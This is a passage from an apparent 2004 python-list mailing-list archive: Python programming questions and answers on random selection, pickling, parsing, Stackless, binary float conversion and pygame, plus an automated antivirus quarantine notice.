>>> filename_latin1 = unicode(filename_utf8, 'utf-8').encode('latin-1')

Markus


From mwilson at the-wire.com  Mon Feb  2 13:02:12 2004
From: mwilson at the-wire.com (Mel Wilson)
Date: Mon, 02 Feb 2004 13:02:12 -0500
Subject: Smarter way of doing this?
References: <401e4d57$0$295$edfadb0f@dread12.news.tele.dk>
Message-ID: <kCpHAls/Kv1O089yn@the-wire.com>

In article <401e4d57$0$295$edfadb0f at dread12.news.tele.dk>,
Max M <maxm at mxm.dk> wrote:
>I have written this function, "choose_by_probability()"
>
>It takes a list of probabilities in the range 0.00-1.00, and it must
>then randomly select one of the probabilities and return it's index.
>
>The idea is to have two lists, one with a value, and another with a
>probability. The value then gets randomly selected from its probability.
>
>values = ['item 1','item 2','item 3',]
>probabilities = [0.66, 0.33, 0.16]
>
>print values[choose_by_probability(probabilities)]
> >>'item 1'
>
>etc...
>
>I just wondered if anybody has a better way of doing it, as this seems
>nastily squared to me?

My usual way is:


import random

def choose_by_probability (values, probabilities):
    cumul = 0.0
    for prob, item in zip (probabilities, values):
        cumul += prob
        if prob > random.random()*cumul:
            selected = item
    return selected


def run_tests (n):
    D = {}
    for i in xrange (n):
        j = choose_by_probability (['item 1', 'item 2', 'item 3']
                , [0.66, 0.33, 0.17])
        D[j] = D.get (j, 0) + 1
    s = D.items()
    s.sort()
    for k, v in s:
        print k, float(v)/n
    print "Total:", sum([v for k, v in D.items()])

run_tests (10000)



        Regards.    Mel.


From dave at pythonapocrypha.com  Tue Feb 10 17:01:29 2004
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Tue, 10 Feb 2004 15:01:29 -0700
Subject: Pickling new-style classes w/ getinitargs
Message-ID: <0f7d01c3f021$6fe743c0$6401fea9@YODA>

What is the correct way to pickle a new-style class that makes use of
__getinitargs__? In the test below, __getinitargs__ gets called only on
old-style classes (pickle appears to call __getinitargs__ only if the object
type is InstanceType, but new-style class instances have a type of the the
class). Google didn't turn up anything obvious; I'm starting my search on
SourceForge but it's extremely slow at the moment.

Thanks for any pointers,
Dave


The test:

from pickle import dumps

class A(object):
    def __init__(self, i):
        self.i = i

    def __getinitargs__(self):
        print 'newstyle getinitargs!'
        return (self.i,)

class B:
    def __init__(self, i):
        self.i = i

    def __getinitargs__(self):
        print 'oldstyle getinitargs!'
        return (self.i,)

dumps(A(1))
dumps(B(2))




From reply.in.the.newsgroup at my.address.is.invalid  Thu Feb 26 09:22:29 2004
From: reply.in.the.newsgroup at my.address.is.invalid (Rene Pijlman)
Date: Thu, 26 Feb 2004 15:22:29 +0100
Subject: How to obscure a password
References: <mailman.164.1077801277.8594.python-list@python.org>
Message-ID: <e60s30927eikkugiciu0f9mgde9mtqsm60@4ax.com>

Batista, Facundo:
>So, is there a module to obscure the password text in a secure way?

You can only obscure a password in an obscure way, not in a secure way.

>I can't hash it (with md5 or something), because I not need to compare the
>password the user enters with a previous one.
>
>I need to restore the password later and use it as if the user just entered
>it.

I use rotor for that.
http://www.python.org/doc/current/lib/module-rotor.html

-- 
Ren? Pijlman


From claird at lairds.com  Thu Feb 12 23:42:06 2004
From: claird at lairds.com (Cameron Laird)
Date: Fri, 13 Feb 2004 04:42:06 -0000
Subject: python vs. perl
References: <20040212170911.22719.00001914@mb-m18.aol.com>
	<402BFAFA.70A476F5@engcorp.com>
	<102o6h6s1nm6g23@corp.supernews.com>
	<t7WdnfnhcaxcqrHd4p2dnA@adelphia.com>
Message-ID: <102olcupesj3lf6@corp.supernews.com>

In article <t7WdnfnhcaxcqrHd4p2dnA at adelphia.com>,
Robert  <bobx at linuxmail.org> wrote:
			.
			.
			.
>Very true. That is one reason I am starting to lean toward Python. Is 
>Tkinter better than Perl/Tk?

Yikes!  That's surprisingly hard to judge conclusively.  Perl/Tk
is definitely faster.  Tkinter is definitely more portable.  Each
has several more subtle advantages.

I maintain the official FAQ for Perl/Tk--yet I prefer Tkinter.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From gee_arr_why at ll.mit.edu  Sun Feb  1 20:28:13 2004
From: gee_arr_why at ll.mit.edu (George Young)
Date: Sun, 01 Feb 2004 20:28:13 -0500
Subject: How do you get the Postgresql Python 2.3 or above?
References: <mailman.1104.1075658556.12720.python-list@python.org>
	<871xpejqtq.fsf@pobox.com>
Message-ID: <pan.2004.02.02.01.28.13.344902@ll.mit.edu>

On Sun, 01 Feb 2004 23:57:37 +0000, John J. Lee wrote:

> Benjamin Arai <benjamin at araisoft.com> writes:
> 
>> There is a module that compiles for Python in PostgreSQL that compile
>> but it is only for Python 2.2.  How do you make it compile for 2.3?
> 
> There are several PostgreSQL modules for Python.  Which one?
> 
> Not that you're likely to get a better answer here than on the
> relevant web page or mailing list, mind you...

One of the main ones is "PyGreSQL", available from:
 ftp://ftp.druid.net/pub/distrib/PyGreSQL.tgz

"""
PyGreSQL is a python module that interfaces to a PostgreSQL database. It
embeds the PostgreSQL query library to allow easy use of the powerful
PostgreSQL features from a Python script.

This release fixes a few bugs, adds a few minor features and makes a
few speedups in the code.  It works with Python version 2.3 and PostgreSQL
version 7.3.x
"""
-- 
George Young
gee arr why at ll.mit.edu
[three letter username]



From tjreedy at udel.edu  Wed Feb 18 19:18:48 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 18 Feb 2004 19:18:48 -0500
Subject: Garbage Collection Method
References: <mailman.37.1077147828.27104.python-list@python.org>
Message-ID: <2aidnQjlFs17nandRVn-ug@comcast.com>


"JAVIER ALBERTO MONTOYA TORRES" <jamontoya at unitec.edu> wrote in message
news:mailman.37.1077147828.27104.python-list at python.org...
> Someone else know whats the way Python collect Garbage, by
> unreferenced locations in memory, usings flags, maybe hybrid of two or
> more methods, ... Can help me?

Python, the language, only specifies that the interpreter *may* collect
unneeded items.  CPython uses reference counting backed by a
'generational'? gc for isolated cycles.  Jython uses the Jave gc system,
whatever that is.

tjr




From harry.g.george at boeing.com  Tue Feb 24 05:53:44 2004
From: harry.g.george at boeing.com (Harry George)
Date: Tue, 24 Feb 2004 10:53:44 GMT
Subject: Parsing library for Python?
References: <c15fip$1epsru$1@ID-212335.news.uni-berlin.de>
	<40366383$0$3104$61fed72c@news.rcn.com>
	<1ivl30dh4a4bfgp1msghvdf6nspnm1p18h@4ax.com>
	<403b7517$0$3068$61fed72c@news.rcn.com>
Message-ID: <xqxr7wksq87.fsf@cola2.ca.boeing.com>

"Edward C. Jones" <edcjones at erols.com> writes:

> Tim Roberts wrote:
> > "Edward C. Jones" <edcjones at erols.com> wrote:
> >
> >> When looking for a parser generator, I think it is important that
> >> full grammars be provided for at least C and Python and preferably
> >> for C++, Java, and FORTRAN.
> > Are you kidding with this?  I can't tell.
> > C, C++, and Fortran are parsing nightmares, where end-of-line and
> > spacing
> > are important sometimes and ignored at other times, and so on.
> > I expect to find the canonical desk calculator example, and perhaps a
> > Pascal-based language, but any more than that is asking a bit much from all
> > but the most mature parser generators.
> 
> Not kidding. Nothing can be parsed without a grammar. I think parsing
> the standard computer languages is a common need. I am sporatically
> developing software to automatically generate Pyrex code for wrapping
> C libraries in Python. I use ANTLR because it comes with a good C
> grammar.
> 
> And then there is HTML. I wonder how Mozilla parses all the ill-formed
> html that is on the web.


Yes, things can be parsed without a grammar, or at least without a
conventional CFG.  Ad hoc parsers are so messy, of course, that we try
to avoid that in modern languages.  But I've parsed textual documents
at times with context-sensitive RR(2) approaches and other oddities.

The point is that FORTRAN predates clear understanding of
line-independent lexing and Context Free grammars (CFG's).  It uses
constructs which are not handled by the classic
scanner/lexer/parser/AST tools.  I don't know how the pros handle
this, but when I run into a non-std grammar, I preprocess to tag it
with additional tokens, and then run it through a std lexer/parser.
Basically a tree re-writer approach.

C++ is (I think) classically lexable, but the semantics are so complex
that parsing (or understanding what to do with the parse) is a pain.
I wasn't in that business, but I understand C compiler vendors bombed
out trying to just upgrade C compilers and had to start fresh with a
much richer type model.  SWIG also ran into this.

For parsing of "bad html", see "tidy".  Its lexer/parser is ad hoc
(not generated by parser toolkits).


-- 
harry.g.george at boeing.com
6-6M21 BCA CompArch Design Engineering
Phone: (425) 342-0007


From akniekko at yahoo.com  Tue Feb  3 22:34:02 2004
From: akniekko at yahoo.com (niekko)
Date: Tue, 3 Feb 2004 18:34:02 -0900
Subject: newbie with a gui question
References: <1020nse8569lr70@corp.supernews.com>
	<slrnc20pe9.5dk.bignose-hates-spam@iris.polar.local>
Message-ID: <1020q1dq34lt260@corp.supernews.com>

That's just it, the course material is "go out and find
it on the 'net."  I've got several books on Python and none of them help
will building this gui.

Can someone get me started, at least??


"Ben Finney" <bignose-hates-spam at and-benfinney-does-too.id.au> wrote in
message news:slrnc20pe9.5dk.bignose-hates-spam at iris.polar.local...
> On Tue, 3 Feb 2004 17:57:16 -0900, niekko wrote:
> > I wrote a program for a class and now have to make a gui for it.  I've
> > done several hours of research and am stuck.  Can someone point me in
> > the right direction, please????
>
> Possibly the course material?  I'd expect that your assignment is to
> employ the methods that have been taught to you.
>
> -- 
>  \      "For my birthday I got a humidifier and a de-humidifier. I put |
>   `\      them in the same room and let them fight it out."  -- Steven |
> _o__)                                                           Wright |
> Ben Finney <http://bignose.squidly.org/>




From tjreedy at udel.edu  Wed Feb 25 23:00:12 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 25 Feb 2004 23:00:12 -0500
Subject: Re Iptscrae Python and While
References: <20040225180158.08854.00000402@mb-m13.aol.com>
Message-ID: <c1jr0c$p7v$1@sea.gmane.org>


"Bluexcell" <bluexcell at aol.com> wrote in message
news:20040225180158.08854.00000402 at mb-m13.aol.com...
> What i want is a loop in which the the cycle rate is a variable, so it
can be
> controlled globally from other functions,  I also need  to set a variable
to
> start and stop the loop  so i can call it and set it globally from other
> functions and  i can see that is possible, by containing the While loop
in a
> function.

I do not quite understand what you want to do.  However, when a while loop
inside a function contains a yield statement, then cycling is controlled by
calling .next on the resulting gen-iterator.  This can be done from
multiple places, by any function with a reference to the iterator.  Hope
this at least gives you more ideas.

Terry J. Reedy






From ray.chou at msa.hinet.net  Sun Feb 15 09:16:12 2004
From: ray.chou at msa.hinet.net (Ray B. X. Zhou)
Date: Sun, 15 Feb 2004 22:16:12 +0800
Subject: xml unknown encoding: big5
References: <c0g189$8pk@netnews.hinet.net>
	<m365ec17kx.fsf@pc150.maths.bris.ac.uk>
	<c0i3j5$b8p$06$2@news.t-online.com>
Message-ID: <c0nutu$mse@netnews.hinet.net>

Thank you very much. I'll try it.

-- 

Ray

> Michael Hudson wrote:
> >>I use xml.sax to parse big5 encoding xml file.
> >>And I got message "unknown encoding: big5".
> >>What can I do?
> >
> >
> > Install CJKCodecs?  (Just a guess).
>
> That helps, but is insufficient. Expat (or, atleast, pyexpat)
> supports only single-byte non-UTF charsets. To parse multi-byte
> charsets, you need xmlproc (from PyXML), and you need to tell
> xml.sax to use xmlproc (e.g. by asking for drv_xmlproc).
>
> Regards,
> Martin
>




From johng2001 at rediffmail.com  Wed Feb 25 12:44:58 2004
From: johng2001 at rediffmail.com (John)
Date: 25 Feb 2004 09:44:58 -0800
Subject: Session CGI!
References: <mailman.39.1077638863.8594.python-list@python.org>
Message-ID: <ba129ce7.0402250944.53512f6f@posting.google.com>

"Robert Brewer" <fumanchu at amor.org> wrote in message news:<mailman.39.1077638863.8594.python-list at python.org>...
> John wrote:
> > I am not looking for magic. What I am looking for is an elegant
> > solution to manage session info like in ASP/PHP, both of which have
> > doing this for quite a while. It's hardly exotic. It has been a couple
> > of years since I last used ASP, but I think it was session("var") =
> > value in ASP. Can't be simpler than that.
> 
> Hi John,
> 
> Are you aware that you can use Python as an ASP language? I use tiny ASP
> pages with content like:
> 
> <%@Language=Python%>
> <%
> from myapp.html import uiasp
> uiasp.UserInterfaceASP(Application, Session, Request,
> Response).dispatch()
> %>
> 
> ...where the dispatch() call writes content to the Response object. I
> wrote a more complete treatment at
> http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/225299 which
> shows how to write an app so you can deploy it on both IIS/ASP and
> mod python. I admit, I haven't touched the Session object--perhaps you
> can work that bit out and let me know how to do it. :)

Hi Robert,
  I tried both ActivePerl and ActivePython with ASP a couple of years
ago. It's been a while, but I think the session object was straight
forward.

  However our IT dept is not particularly condusive to the idea of
Windows machines outside the firewall. If they did I would have just
used ASP.NET. But I have to do it on Unix (No. I can't use mono on
it).

John


From tismer at stackless.com  Mon Feb 23 22:02:58 2004
From: tismer at stackless.com (Christian Tismer)
Date: Tue, 24 Feb 2004 04:02:58 +0100
Subject: [Stackless] Re: Stackless 3.0 for Python 2.3: new binaries
In-Reply-To: <403ABD36.50708@stackless.com>
References: <mailman.145.1077390882.27104.python-list@python.org>	<403A8E4F.7080801@aon.at>	<403A9C1E.9040509@stackless.com>	<C3CCD5CD-6666-11D8-A902-000A95686CD8@redivi.com>
	<403ABD36.50708@stackless.com>
Message-ID: <403ABEE2.2040201@stackless.com>

Christian Tismer wrote:

> Bob Ippolito wrote:
> 
> ...
> 
>> This is not an authoritative response, because I don't actually know, 
>> however here is my guess:
> 
> 
> Good guess.
> 
>> But I must reiterate that I have no idea.. never looked at the IDLE 
>> source code, don't use IDLE, haven't been on python-dev long enough to 
>> notice if/when this happened... I have however run into these sorts of 
>> problems on my own plenty of times and solved them to various degrees 
>> (but have not written a full out RPC mechanism, though I would like to 
>> at some point if a good one doesn't yet exist).
> 
> 
> I'm no IDLE or Tcl/Tk user, either. But I had Tcl problems,
> before. What I really would hate is to have to build the Tcl
> stuff and debug that.
> What I'm probably going to try tomorrow is to disable all
> pikcling extensions at all and see if it runs, then.
> Then I will re-enable them, one after the other.
> My guess is that something gets pickled because it shows
> up as pickleable, through introspection.
> Maybe a special case is hit again (like with cell objects)
> that needs to use the ternary __reduce__ protocol. I don't know.

Hey, this is a hit!
First result: It works, if we do this:

int init_prickelpit(void)
{
	if (0
	//	|| init_codetype()
     //    || init_functype()
     //    || init_celltype()
	//	|| init_frametype()
	//	|| init_tracebacktype()
	//	|| init_moduletype()
		|| init_moduledicttype()
      //   || init_itertype()
	//	|| init_methodtype()
	//	|| init_generatortype()
     //    || init_dictitertype()
         || init_enumtype()
         || init_enumfactorytype()
     //    || init_listitertype()
     //    || init_rangeitertype()
     //    || init_tupleitertype()
		) return -1;
     return 0;
}

I will uncomment stuff tomorrow, then we'll see :-))

good knight -- chris

-- 
Christian Tismer             :^)   <mailto:tismer at stackless.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  mobile +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From fpetermaas at netscape.net  Tue Feb 24 11:55:55 2004
From: fpetermaas at netscape.net (Peter Maas)
Date: Tue, 24 Feb 2004 17:55:55 +0100
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
In-Reply-To: <7x8yiy3y7m.fsf@ruckus.brouhaha.com>
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<c14h3s$o2a$1@swifty.westend.com>
	<7x8yiy3y7m.fsf@ruckus.brouhaha.com>
Message-ID: <c1fvln$ghi$1@swifty.westend.com>

Paul Rubin wrote:
> No, you don't understand.  The initialization is part of the loop.
> That is, the replacement for the do loop is
> 
>   while 1:
>     init()
>     if not cond: break
>     body()

You are right, sorry. I was a bit hasty, thanks for the correction.
I reread the PEP and now realize that it is about situations like

         <setup code>
         while <condition>:
             <loop body>
             <setup code>

So the setup code is there to guarantee at least one execution
of the loop body. If this is the case, then the proposed form
"do <setup code> while" is misleading in my opinion. I would
merge <setup code> and <loop body> to <theBody> and solve the
problem with code like

do:
     <theBody>
     breakif <cond>

This would be clearer but I would mind this as well because
I like the minimality of Python and I am completely satisfied
with

while 1:
     <theBody>
     if <cond>: break

Mit freundlichen Gruessen,

Peter Maas

-- 
-------------------------------------------------------------------
Peter Maas, M+R Infosysteme, D-52070 Aachen, Hubert-Wienen-Str. 24
Tel +49-241-93878-0 Fax +49-241-93878-20 eMail peter.maas at mplusr.de
-------------------------------------------------------------------


From irmen at -NOSPAM-REMOVETHIS-xs4all.nl  Wed Feb  4 17:16:18 2004
From: irmen at -NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Wed, 04 Feb 2004 23:16:18 +0100
Subject: Newbie -- bitwise shifts
In-Reply-To: <mailman.1216.1075930356.12720.python-list@python.org>
References: <mailman.1216.1075930356.12720.python-list@python.org>
Message-ID: <40216f32$0$315$e4fe514c@news.xs4all.nl>

Batista, Facundo wrote:
> gerald.britton at allstream.com wrote:
> 
> #- 15 is binary 1111
> #- if I shift this left 2 bits I get 11
> 
> No.
> 
> If you shift 1111 left 2 positions, you get 111100.


He probably meant to shift it to the other left.

--Irmen


From feb04.20.netman at spamgourmet.com  Fri Feb 20 13:57:51 2004
From: feb04.20.netman at spamgourmet.com (Chris)
Date: Fri, 20 Feb 2004 18:57:51 GMT
Subject: Generating a large random string
References: <4034D506.2E37519A@netsurf.de> <7xsmh6a7cd.fsf@ruckus.brouhaha.com>
	<RpdZb.10783$Cd6.717545@news20.bellglobal.com>
	<yssZb.11629$Cd6.823992@news20.bellglobal.com>
Message-ID: <PMsZb.65635$KV5.7888@nwrdny01.gnilink.net>

You're not running Windows, you've been infected with the Cygwin virus, a
fiendish creation by anti-Win32 API hackers that irreparably damages the
proprietary nature of the Windows platform , and worse yet, could
potentially allow applications to be built without Visual Studio, using a
GNU tool chain.  Better format your drive immediately before it spreads.

Chris

"Chris Herborth" <chrish at cryptocard.com> wrote in message
news:yssZb.11629$Cd6.823992 at news20.bellglobal.com...
> Sean Ross wrote:
>
> > I'd be interested to see how
> >
> > s = open("/dev/urandom").read(3000)
> >
> > compares, and, if better, whether something similar can
> > be done on Windows.
>
> Works on my Windows boxes:
>
> chris at chrish [501]: uname -a
> CYGWIN_NT-5.1 chrish 1.5.7(0.109/3/2) 2004-01-30 19:32 i686 unknown
unknown
> Cygwin
> chris at chrish [502]: python
> Python 2.3.3 (#1, Dec 30 2003, 08:29:25)
> [GCC 3.3.1 (cygming special)] on cygwin
> Type "help", "copyright", "credits" or "license" for more information.
>  >>> s = open("/dev/urandom").read(3000)
>  >>> len(s)
> 3000
>  >>> s[0]
> ']'
>  >>> s[1]
> 'W'
>
> ;-)
>
> -- 
> Chris Herborth                                     chrish at cryptocard.com
> Documentation Overlord, CRYPTOCard Corp.      http://www.cryptocard.com/
> Never send a monster to do the work of an evil scientist.




From NAVMSE-YCMNT5 at yamaha.ca  Sun Feb  1 04:12:50 2004
From: NAVMSE-YCMNT5 at yamaha.ca (NAV for Microsoft Exchange-YCMNT5)
Date: Sun, 1 Feb 2004 04:12:50 -0500 
Subject: Norton AntiVirus detected and quarantined a virus in a message yo
	u sent.
Message-ID: <42290CA7E12DD511B028000255D478E001D19899@ycmnt5.ycm.ca>

Recipient of the infected attachment:  Keyboard\Inbox
Subject of the message:  Hello
One or more attachments were quarantined.
  Attachment message.zip was Quarantined for the following reasons:
    Virus W32.Novarg.A at mm was found.
    Virus W32.Novarg.A at mm was found in message.cmd.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/ms-tnef
Size: 1729 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20040201/30818f40/attachment.bin>

From peter at engcorp.com  Tue Feb 24 14:04:16 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 24 Feb 2004 14:04:16 -0500
Subject: How do I access Python's dictionary of all global variables?
References: <c9d82136.0402210903.7cbf2335@posting.google.com>
	<c1883b$lum$1@news.service.uci.edu>
	<403A088B.840F7141@engcorp.com> <c1ekrb$bv4$1@news.service.uci.edu>
	<m3ekskhd7i.fsf@pc150.maths.bris.ac.uk>
Message-ID: <403BA030.F7BB2746@engcorp.com>

Michael Hudson wrote:
> 
> Josiah Carlson <jcarlson at nospam.uci.edu> writes:
> 
> > > For reference, this can be done using a debug build of the interpreter.
> > > I don't recall the name of the function or even which module it was
> > > in (sys or gc, presumably) but it was there.  (I think. :-)
> 
> There's gc.get_objects(), present in all builds, which gives a list of
> all objects tracked by the cycle collector (i.e. all containers).
> 
> In a debug build there's sys.getobjects(), which gives a list of
> (potentially, depending on arguments passed) all objects known to the
> interpreter.
> 
> > That scares me, it is very dangerous.
> 
> Why?  It can be useful for tracking refleak problems, if nothing else.

I think he thought I was suggesting that someone might actually want
to use this in real code, rather than in debugging.  Clearly my use of 
"for reference" didn't adequately suggest that I also thought that
would be nuts.

-Peter


From r.s at ZZmindspring.com  Thu Feb  5 19:29:52 2004
From: r.s at ZZmindspring.com (r.e.s.)
Date: Fri, 06 Feb 2004 00:29:52 GMT
Subject: How can this be?
Message-ID: <4eBUb.15701$uM2.7740@newsread1.news.pas.earthlink.net>

My problem is this ...

Module A contains the definition of a function f.
Module B contains:

    from A import *
    L = [0]
    print L
    x = f(L, 'a data string')
    print L

When Module B is imported/reloaded (in pythonwin), 
the result printed in the interactive window is

    [0]
    [1]

How can the list L have gotten changed??

Without my posting the function def (which is
very lengthy), can anyone possibly give me a 
clue about what might be a likely cause of this
behavior?  (It *is* irregular, isn't it?  ?) 

Thanks for any help.

--r.e.s.




From newsgroups at jhrothjr.com  Wed Feb 25 18:06:49 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Wed, 25 Feb 2004 18:06:49 -0500
Subject: How does Ruby compare to Python?? How good is DESIGN of Ruby
	compared to Python?
References: <bf23f78f.0402241443.678bf6c8@posting.google.com>
	<c1h1sb$1it26i$1@ID-169208.news.uni-berlin.de>
	<103qa53tajuhfdb@corp.supernews.com>
Message-ID: <103qaln6p4i3tb4@news.supernews.com>

"Cameron Laird" <claird at lairds.com> wrote in message
news:103qa53tajuhfdb at corp.supernews.com...
> In article <c1h1sb$1it26i$1 at ID-169208.news.uni-berlin.de>,
> Greg Ewing (using news.cis.dfn.de) <wmwd2zz02 at sneakemail.com> wrote:
> .
> [much good counsel]
> .
> .
> >Ruby code is liberally sprinkled with @-signs, which tends to
> >make it look slightly Perl-ish. But again that's a surface
> >issue, and Ruby is really no more like Perl than Python is.
> .
> .
> .
> While I'm all in favor of distinguishing superficial from
> fundamental characteristics, I think the last sentence
> above is misleading.  Ruby is a direct descendant from
> Perl, I'm sure; I thought I had the word from Matz himself
> that he deliberately modeled a great deal of Ruby on Perl
> (and Smalltalk, of course).  Although I can't find the
> passage now, I'm confident enough to repeat it here.  If
> necessary, I expect we can confirm the language's parentage.

To quote Matz's preface in the pickaxe book:

[begin quote]
I wanted a language more powerful than Perl, and more
object-oriented than Python.

Then, I remembered my old dream, and decided to design my
own language. At first I was just toying around with it at work.
But gradually it grew into a tool good enough to replace Perl.
[end quote]

To try to put it into the Perl lineage misses the point that,
for Matz, being object oriented was a primary goal, and while
Perl is a lot of things, object oriented isn't one of them.

The "funny characters" in Perl are type indicators, in
Ruby they are namespace controls. My personal opinion
(which I suspect isn't shared by very many Pythonistias)
is that Python would be improved by requiring explicit
access to the module and built-in namespaces, rather than
the default searches it uses now. To make that work, of
course, would require editor/ide support.

John Roth
> -- 
>
> Cameron Laird <claird at phaseit.net>
> Business:  http://www.Phaseit.net




From schwerdy at web.de  Wed Feb 11 06:28:49 2004
From: schwerdy at web.de (schwerdy)
Date: 11 Feb 2004 03:28:49 -0800
Subject: Get actual resolution for pygame
Message-ID: <c498bc9a.0402110328.1ee8026d@posting.google.com>

Hi,

I'm trying to write a function with pygame that takes the path to a
.jpg image and displays it in a maximized/fullscreen window. I'm stuck
at pygame.display.set_mode() :-) This function needs a resolution as
parameter... Because I don't want the graphic card to change mode, the
best thing would be to give set_mode the actual display resolution.
But how can I get it? My first idea was to invoke "xwininfo -root",
but thats not platform independent. The other idea was to abuse
Tkinter (root = Tkinter.Tk(); h=root.winfo_vrootheight();
w=root.winfo_vrootwidth()), but thats not satisfying and takes a
while.

Anyone with a better idea?
Or do I have to use "xwininfo"?

Thanks in advance
Schwerdy


From michele.simionato at poste.it  Wed Feb 18 02:19:30 2004
From: michele.simionato at poste.it (Michele Simionato)
Date: 17 Feb 2004 23:19:30 -0800
Subject: super() not a panacea?
References: <pan.2004.02.17.18.59.19.712556@netlojix.net>
Message-ID: <95aa1afa.0402172319.784754d0@posting.google.com>

Here is another solution that you will probably like more, since it does
not require to change the hierarchy. The trick is to use a custom "super"
which ignores attribute errors:

class mysuper(super):
    def __getattribute__(self,name):
        try:
            return super.__getattribute__(self,name)
        except AttributeError: # returns a do-nothing method
            return lambda *args, **kw: None

class A(object):
    def m(self):
        mysuper(A, self).m()
        print '   A'

class B(A):
    def m(self):
        mysuper(B, self).m()
        print '   B'

class C(A):
    def m(self):
        mysuper(C, self).m()
        print '   C'

class D(B,C):
    def m(self):
        mysuper(D, self).m()
        print '   D'

class Z(object):
    def m(self):
        print '   Z'

class X(A, Z):
    def m(self):
        mysuper(X, self).m()
        print '   X'

X().m()

D().m()
print X.mro()
print D.mro()


From secchi at sssup.it  Sat Feb 28 11:50:22 2004
From: secchi at sssup.it (Angelo Secchi)
Date: Sat, 28 Feb 2004 17:50:22 +0100
Subject: Newbie lost(new info)
In-Reply-To: <403ffc4d$0$12853$3a628fcd@reader1.nntp.hccnet.nl>
References: <mailman.113.1077727206.8594.python-list@python.org>
	<403ce031$0$12853$3a628fcd@reader1.nntp.hccnet.nl>
	<mailman.132.1077738332.8594.python-list@python.org>
	<103q9kkjbru46bb@news.supernews.com>
	<403d3b33$0$11500$3a628fcd@reader2.nntp.hccnet.nl>
	<103qid3gv1s2q47@news.supernews.com>
	<mailman.150.1077786326.8594.python-list@python.org>
	<403ffc4d$0$12853$3a628fcd@reader1.nntp.hccnet.nl>
Message-ID: <20040228175022.529b3416.secchi@sssup.it>


Anton and Howard,
thank you very much (both your sample code do the job) I was really lost
into bit manipulation without any real hope of success!!

Angelo




On Sat, 28 Feb 2004 03:24:57 +0100
anton at vredegoor.doge.nl (Anton Vredegoor) wrote:

> Angelo Secchi <secchi at sssup.it> wrote:
> 
> >>from binascii import hexlify
> >>inf = file('foo','rb')
> >>data = inf.read(1970)
> >>for i in range(223):
> >>     index = i * 4 + 113
> >>     print hexlify(data[index: index + 4])
> >
> >
> >46ee3bb4	(I know that this should be 15612852)
> >00000000	(I know that this should be 0)
> >00000000	(I know that this should be 0)
> >465de39a	(I know that this should be 6153114)
> >00000000	(I know that this should be 0)
> >00000000	(I know that this should be 0)
> 
> Based on this message:
> 
> http://groups.google.com/groups?&selm=1993Aug25.074420.28786%40bhof01.ctg.nl
> 
> I wrote a function that maybe could do it (use at own risk). It
> converts  a 4-byte real from "IBM System/370 Floating Point Format" to
> a Python float. In your code above replace one line:
> 
> >>     print hexlify(data[index: index + 4])
> 
> with:
> 
> >>     print ibm370tofloat(data[index: index + 4])
> 
> 
> The conversion function and a test function:
> 
> import struct
> 
> def ibm370tofloat(fourbytes):
>     i = struct.unpack('>I',fourbytes)[0]
>     sign = [1,-1][bool(i & 0x100000000L)]
>     characteristic = ((i >> 24) & 0x7f) - 64
>     fraction = (i & 0xffffff)/float(0x1000000L)
>     return sign*16**characteristic*fraction   
> 
> def test():
>     import binascii
>     pi = "413243f7"
>     s1 = "46ee3bb4"
>     s2 = "465de39a"
>     for x in [pi,s1,s2]:
>         y = binascii.unhexlify(x)
>         print ibm370tofloat(y)
> 
> if __name__=='__main__':
>     test()
> 
> output:
> 
> 3.14159297943
> 15612852.0
> 6153114.0
> 
> I hope this helps.
> 
> Anton
> 
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list


--
========================================================
 Angelo Secchi                     PGP Key ID:EA280337
========================================================
  Current Position:
  Graduate Fellow Scuola Superiore S.Anna
  Piazza Martiri della Liberta' 33, Pisa, 56127 Italy
  ph.: +39 050 883365
  email: secchi at sssup.it	www.sssup.it/~secchi/
========================================================



From peter at engcorp.com  Tue Feb 10 15:13:40 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 10 Feb 2004 15:13:40 -0500
Subject: package similar to XML::Simple
References: <mailman.1430.1076442719.12720.python-list@python.org>
Message-ID: <40293B74.C4D476C@engcorp.com>

Brian Quinlan wrote:
> 
> Peter Hansen wrote:
> > > I have no problem with the existence of PyRXP. It just isn't an XML
> > > parser.
> >
> > Then there are very few XML parsers in the world, if one includes, say,
> > namespaces and validation as part of XML.
> 
> An XML parser must be able to parse all (1) well-formed XML documents. The
> W3C XML recommendation provides a definition for well-formed XML documents,
> and can be found here:
> http://www.w3.org/TR/2004/REC-xml-20040204/
> 
> (1) I'll quality this a bit since the size of XML documents is unbounded
>     and computer resources are.

Okay, granted.  I'll withdraw my comments.  I read too much into
Uche Ogbuji's objections, thinking he had problems with PyRXP on more
fronts than just the character entities question.  If that's the only
defect in PyRXP, I suspect it's still somewhat ahead of a lot of other
"XML parsers" anyway, though clearly imperfect and arguably not yet
deserving of the label "XML parser".

I wonder whether this has been reported as a bug to Reportlab, however.
Maybe they simply didn't happen to have a test case that covered that
particular use of the parser... and they might be happy to fix it.

-Peter


From jcarlson at nospam.uci.edu  Thu Feb  5 22:39:28 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Thu, 05 Feb 2004 19:39:28 -0800
Subject: Error message <exceptions.TypeError unpack non-sequence>
In-Reply-To: <788bd2d4.0402051459.8a90fec@posting.google.com>
References: <788bd2d4.0402051459.8a90fec@posting.google.com>
Message-ID: <bvv2dr$7oa$1@news.service.uci.edu>


> I am trying to move an application from python 1.5.2 to 2.3. The code
